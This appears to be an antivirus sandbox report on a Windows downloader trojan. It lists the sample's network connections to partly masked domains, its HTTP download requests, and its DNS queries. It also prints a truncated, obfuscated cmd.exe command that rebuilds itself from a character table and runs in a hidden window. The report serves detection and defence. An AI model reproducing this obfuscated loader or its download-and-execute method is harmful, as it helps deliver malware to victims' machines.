Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V:ON/C"set 7MfD=BYlOAKBRDtokCZYGS(UQj;7zw+Pebdyg-N,p.{0$iWf)'u}Fvs@n5/r=a:X\ x4hmcL&&for %B in (35,10,24,27,54,49,63,27,2,2,60,39,64,24,35,55,51,27,24,32,10,28,20,27,65,9,60,33,27,9,36,41,27,2...
Network activity
Connects to
- 'fu##.com.mx':80
- 'fu##.com.mx':443
- 'cr####relodge.co.uk':80
- 'cr####relodge.co.uk':443
- 'co######resyempresas.com':80
- 'co######resyempresas.com':443
TCP
HTTP GET requests
- http://fu##.com.mx/UQANpB
- http://cr####relodge.co.uk/aU0o0
- http://co######resyempresas.com/QQRLe5a
Other
- 'fu##.com.mx':443
- 'cr####relodge.co.uk':443
- 'co######resyempresas.com':443
UDP
- DNS ASK to######ineservice.co.uk
- DNS ASK ca####zzi.com.br
- DNS ASK fu##.com.mx
- DNS ASK cr####relodge.co.uk
- DNS ASK co######resyempresas.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: '10'
- ClassName: '' WindowName: '17325EA3'
- ClassName: '' WindowName: 'ᨠ'
- ClassName: '' WindowName: '0'
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V:ON/C"set 7MfD=BYlOAKBRDtokCZYGS(UQj;7zw+Pebdyg-N,p.{0$iWf)'u}Fvs@n5/r=a:X\ x4hmcL&&for %B in (35,10,24,27,54,49,63,27,2,2,60,39,64,24,35,55,51,27,24,32,10,28,20,27,65,9,60,33,27,9,36,41,27,2...' (with hidden window)
